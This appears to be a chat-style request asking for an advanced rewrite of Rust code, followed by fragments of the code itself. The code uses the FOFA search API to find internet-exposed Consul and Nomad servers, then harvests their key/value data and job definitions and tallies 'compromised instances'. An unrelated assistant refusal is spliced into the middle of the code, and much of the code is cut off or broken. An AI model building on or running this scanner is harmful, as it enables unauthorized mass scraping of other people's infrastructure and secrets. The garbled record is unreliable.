This is very old code. Try to build a highly advanced codebase now, that is several times greater that the older one.
fofa.rs:
use std::net::SocketAddr;
use std::net::ToSocketAddrs;
use anyhow::{Result, anyhow};
use async_trait::async_trait;
use base64::prelude::;
use std::sync::Arc;
use std::time::Duration;
use std::collections::HashSet;
use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use serde_json::Value;
use tracing::{instrument, debug, error, info};
#[async_trait]
impl FofaSearch for Fofa {
#[instrument(skip(self))]
async fn search(&self, query: &str, page: u32, size: u32) -> Result {
for retries in 0..MAX_RETRIES {
let response = self
.client
.get("https://fofa.info/api/v1/search/all")
.query(&[
("email", &self.email),
("key", &self.key),
("size", &size.to_string()),
("page", &page.to_string()),
("qbase64", &BASE64_URL_SAFE.encode(query)),
])
.send()
.await?;
debug!("FOFA API URL: {}", response.url());
match response.json::().await {
Ok(response) => return Ok(response),
Err(err) => {
if retries == MAX_RETRIES - 1 {
return Err(anyhow!("Failed to decode response: {}", err));
}
error!("Failed to decode response: {}. Retrying...", err);
}
}
}
unreachable!()
}
#[instrument(skip(self))]
async fn parse(&self, query: &str) -> Result<(Vec, u32)> {
let initial_response = self.search(query, 1, FIRST_PAGE_SIZE).await?;
let total_size = initial_response.size;
let mut total_pages = (total_size as f32 / FIRST_PAGE_SIZE as f32).ceil() as u32;
let mut all_results = initial_response.results;
if total_pages > 1 {
total_pages = 1 + ((total_size - FIRST_PAGE_SIZE) as f32 / SUBSEQUENT_PAGE_SIZE as f32).ceil() as u32;
info!("Adjusted total pages: {}", total_pages);
for page in 2..=total_pages {
match self.search(query, page, SUBSEQUENT_PAGE_SIZE).await {
Ok(response) => {
info!("Results from page {}: {}", page, response.results.len());
all_results.extend(response.results);
},
Err(e) => {
error!("Failed to fetch page {}: {:?}", page, e);
break;
}
}
}
}
info!("Total raw results fetched: {}", all_results.len());
let mut socket_addresses = HashSet::new();
Assistant
I'm sorry, but I can't assist with that request.
for (index, result) in all_results.iter().enumerate() {
if let (Some(ip), Some(port)) = (result.get(1).and_then(Value::as_str), result.get(2).and_then(Value::as_str)) {
let addr_str = format!("{}:{}", ip, port);
match addr_str.to_socket_addrs() {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if !socket_addresses.insert(addr) {
debug!("Duplicate address found: {} (index: {})", addr_str, index);
}
} else {
debug!("Invalid address: {} (index: {})", addr_str, index);
}
},
Err() => {
debug!("Failed to parse address: {} (index: {})", addr_str, index);
}
}
} else {
debug!("Missing IP or port in result (index: {}): {:?}", index, result);
}
}
let unique_addresses: Vec<> = socket_addresses.into_iter().collect();
main.rs:
use tracing::warn;
use tokio::sync::Semaphore;
use std::net::SocketAddr;
use std::path::Path;
use anyhow::Context;
use futures::StreamExt;
use std::env;
use tracing::info;
use std::fs::{self, File};
use std::io::{BufWriter, Write};
use regex::Regex;
use std::sync::Arc;
use std::time::Instant;
use tokio::sync::Mutex;
use clap::{Command, Arg};
use indicatif::{MultiProgress, ProgressBar, ProgressStyle};
use serde_json::json;
use flate2::write::GzEncoder;
use flate2::Compression;
use anyhow::Result;
use trust_dns_resolver::{TokioAsyncResolver, config::};
mod consul;
mod fofa;
mod nomad;
use fofa::{Fofa, FofaSearch};
use consul::{ConsulScraper, ConsulScraperTrait, ScrapeResult as ConsulScrapeResult};
use nomad::{NomadScraper, NomadScraperTrait, ScrapeResult as NomadScrapeResult};
// Fetch and process Consul instances
info!("Fetching Consul results from FOFA");
let (consuls, consul_total_count) = fofa.parse(&config.consul_query).await?;
process_consuls(consuls, consul_total_count, &config, &stats).await?;
// Fetch and process Nomad instances
info!("Fetching Nomad results from FOFA");
let (nomads, nomad_total_count) = fofa.parse(&config.nomad_query).await?;
process_nomads(nomads, nomad_total_count, &config, &stats).await?;
// Print final statistics
let duration = start_time.elapsed();
let stats = stats.lock().await;
info!("Scraping completed in {:?}", duration);
info!("Consul stats:");
info!(" Total files written: {}", stats.consul_files_written);
info!(" Compromised instances: {}", stats.consul_compromised_count);
info!(" Error count: {}", stats.consul_error_count);
info!(" Total keys scraped: {}", stats.consul_total_keys);
info!("Nomad stats:");
info!(" Total files written: {}", stats.nomad_files_written);
info!(" Error count: {}", stats.nomad_error_count);
info!(" Total jobs scraped: {}", stats.nomad_total_jobs);
let scraper = Arc::new(ConsulScraper::new(config.retry_count, config.timeout));
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::default(), ResolverOpts::default()));
let results = futures::stream::iter(consuls)
.map(|consul| {
let scraper = Arc::clone(&scraper);
let config = config.clone();
let stats = Arc::clone(&stats);
let overall_progress = overall_progress.clone();
let resolver = Arc::clone(&resolver);
async move {
overall_progress.set_message(format!("Scraping Consul {}", consul));
let result = process_consul(consul, &scraper, &config, &stats, &resolver).await;
overall_progress.inc(1);
result
}
})
.buffer_unordered(config.threads)
.collect::<Vec<Result<()>>>()
.await;
let scraper = Arc::new(NomadScraper::new(config.retry_count, config.timeout));
let semaphore = Arc::new(Semaphore::new(config.threads));
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::default(), ResolverOpts::default()));
let results = futures::stream::iter(nomads)
.map(|nomad| {
let scraper = Arc::clone(&scraper);
let config = config.clone();
let stats = Arc::clone(&stats);
let overall_progress = overall_progress.clone();
let semaphore = Arc::clone(&semaphore);
let resolver = Arc::clone(&resolver);
async move {
let permit = semaphore.acquire().await.unwrap();
overall_progress.set_message(format!("Scraping Nomad {}", nomad));
let result = process_nomad(nomad, &scraper, &config, &stats, &resolver).await;
overall_progress.inc(1);
result
}
})
.buffer_unordered(config.threads)
.collect::<Vec<Result<()>>>()
.await;
for result in results {
if let Err(e) = result {
warn!("Error processing Nomad: {:?}", e);
}
}
match scraper.scrape(nomad).await {
NomadScrapeResult::Normal(job_details) => {
if job_details.is_empty() {
info!("No jobs found for Nomad at {}", nomad);
return Ok(());
}
let sanitized_ip = sanitize_filename(&nomad.ip().to_string());
let name = format!(
"nomad_jobs@{}.{}",
sanitized_ip,
if config.compress { "gz" } else { "json" }
);
let path = Path::new(&config.output_dir).join("nomads").join(name);
if let Some(parent) = path.parent() {
fs::create_dir_all(parent).context("Failed to create directory")?;
}
let file = File::create(&path).context("Failed to create file")?;
let mut writer: Box = if config.compress {
Box::new(GzEncoder::new(file, Compression::default()))
} else {
Box::new(BufWriter::new(file))
};
fn sanitize_filename(name: &str) -> String {
let re = Regex::new(r#"[<>:"/|?*]"#).unwrap();
re.replace_all(name, "").into_owned()
}
nomad.rs:
#![allow(non_snake_case)]
use std::net::SocketAddr;
use std::time::Duration;
use anyhow::{Result, anyhow};
use async_trait::async_trait;
use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use serde_json::Value;
use tokio::time::sleep;
use rand::Rng;
use tracing::{instrument, debug, error};
#[async_trait]
impl NomadScraperTrait for NomadScraper {
#[instrument(skip(self))]
async fn scrape(&self, addr: SocketAddr) -> ScrapeResult {
let url = format!("http://{}/v1/jobs", addr);
match self.retry_request(&url).await {
Ok(response) => {
match self.process_jobs(response).await {
Ok(jobs) => {
let mut job_details = Vec::new();
for job in jobs {
match self.fetch_job_details(addr, &job.ID).await {
Ok(job_detail) => job_details.push(job_detail),
Err(e) => {
error!("Failed to fetch job details for {}: {:?}", job.ID, e);
}
}
}
ScrapeResult::Normal(job_details)
}
Err(e) => {
error!("Failed to process jobs: {:?}", e);
ScrapeResult::Error
}
}
}
Err(e) => {
error!("Failed to fetch jobs: {:?}", e);
ScrapeResult::Error
}
}
}
}
consul.rs:
use std::{fmt::Debug, net::SocketAddr};
use std::time::Duration;
use base64::prelude::*;
use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use anyhow::{Result, anyhow};
use async_trait::async_trait;
use tokio::time::sleep;
use rand::Rng;
use tracing::{instrument, debug, error};